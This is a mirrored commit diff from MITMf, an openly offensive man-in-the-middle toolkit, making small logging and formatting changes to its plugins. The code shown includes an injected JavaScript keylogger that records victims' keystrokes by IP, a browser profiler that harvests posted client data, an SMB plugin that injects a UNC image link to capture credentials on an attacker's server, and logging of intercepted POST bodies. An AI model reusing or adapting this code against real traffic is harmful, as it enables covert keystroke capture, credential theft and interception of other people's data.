mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-06 21:12:16 -07:00
formatting
This commit is contained in:
parent
1b6841f9c1
commit
eedb48822a
4 changed files with 10 additions and 7 deletions
|
@ -13,6 +13,7 @@ class BrowserProfiler(Inject, Plugin):
|
||||||
def initialize(self,options):
|
def initialize(self,options):
|
||||||
Inject.initialize(self, options)
|
Inject.initialize(self, options)
|
||||||
self.html_payload = self.get_payload()
|
self.html_payload = self.get_payload()
|
||||||
|
self.dic_output = {} # so other plugins can access the results
|
||||||
print "[*] Browser Profiler online"
|
print "[*] Browser Profiler online"
|
||||||
|
|
||||||
def post2dict(self, string):
|
def post2dict(self, string):
|
||||||
|
@ -23,10 +24,12 @@ class BrowserProfiler(Inject, Plugin):
|
||||||
return dict
|
return dict
|
||||||
|
|
||||||
def sendPostData(self, request):
|
def sendPostData(self, request):
|
||||||
#Handle the browserprofiler plugin output
|
#Handle the plugin output
|
||||||
if 'clientprfl' in request.uri:
|
if 'clientprfl' in request.uri:
|
||||||
out = pformat(self.post2dict(request.postData))
|
self.dic_output = self.post2dict(request.postData)
|
||||||
logging.warning("%s Browser Profilerer data:\n%s" % (request.client.getClientIP(), out))
|
self.dic_output['ip'] = str(request.client.getClientIP()) # add the IP of the client
|
||||||
|
pretty_output = pformat(self.dic_output)
|
||||||
|
logging.warning("%s Browser Profiler data:\n%s" % (request.client.getClientIP(), pretty_output))
|
||||||
|
|
||||||
def get_payload(self):
|
def get_payload(self):
|
||||||
payload = """<script type="text/javascript">
|
payload = """<script type="text/javascript">
|
||||||
|
|
|
@ -12,7 +12,7 @@ class SMBAuth(Inject,Plugin):
|
||||||
self.html_payload = self._get_data()
|
self.html_payload = self._get_data()
|
||||||
|
|
||||||
def add_options(self,options):
|
def add_options(self,options):
|
||||||
options.add_argument("--host", action="store_true", help="The ip address of the SMB server")
|
options.add_argument("--host", action="store_true", help="The ip address of your capture server")
|
||||||
|
|
||||||
def _get_data(self):
|
def _get_data(self):
|
||||||
return '<img src=\"\\\\%s\\image.jpg\">'\
|
return '<img src=\"\\\\%s\\image.jpg\">'\
|
||||||
|
|
|
@ -15,7 +15,7 @@ class jskeylogger(Inject, Plugin):
|
||||||
print "[*] Javascript Keylogger plugin online"
|
print "[*] Javascript Keylogger plugin online"
|
||||||
|
|
||||||
def sendPostData(self, request):
|
def sendPostData(self, request):
|
||||||
#Handle the jskeylogger plugin output
|
#Handle the plugin output
|
||||||
if 'keylog' in request.uri:
|
if 'keylog' in request.uri:
|
||||||
keys = request.postData.split(",")
|
keys = request.postData.split(",")
|
||||||
del keys[0]; del(keys[len(keys)-1])
|
del keys[0]; del(keys[len(keys)-1])
|
||||||
|
@ -32,7 +32,7 @@ class jskeylogger(Inject, Plugin):
|
||||||
try:
|
try:
|
||||||
nice += n.decode('hex')
|
nice += n.decode('hex')
|
||||||
except:
|
except:
|
||||||
print "ERROR: unknown char " + n
|
logging.warning("%s ERROR decoding char %s" % (request.client.getClientIP(), n))
|
||||||
|
|
||||||
logging.warning("%s [%s] Keys: %s" % (request.client.getClientIP(), request.headers['host'], nice))
|
logging.warning("%s [%s] Keys: %s" % (request.client.getClientIP(), request.headers['host'], nice))
|
||||||
|
|
||||||
|
|
|
@ -67,7 +67,7 @@ class ServerConnection(HTTPClient):
|
||||||
def sendPostData(self):
|
def sendPostData(self):
|
||||||
self.plugins.hook()
|
self.plugins.hook()
|
||||||
if ('clientprfl' or 'keylog') not in self.uri:
|
if ('clientprfl' or 'keylog') not in self.uri:
|
||||||
logging.warning("%s Data (%s):\n%s" % (self.getPostPrefix(),self.headers['host'],self.postData))
|
logging.warning("%s %s Data (%s):\n%s" % (self.client.getClientIP(),self.getPostPrefix(),self.headers['host'],self.postData))
|
||||||
self.transport.write(self.postData)
|
self.transport.write(self.postData)
|
||||||
|
|
||||||
def connectionMade(self):
|
def connectionMade(self):
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue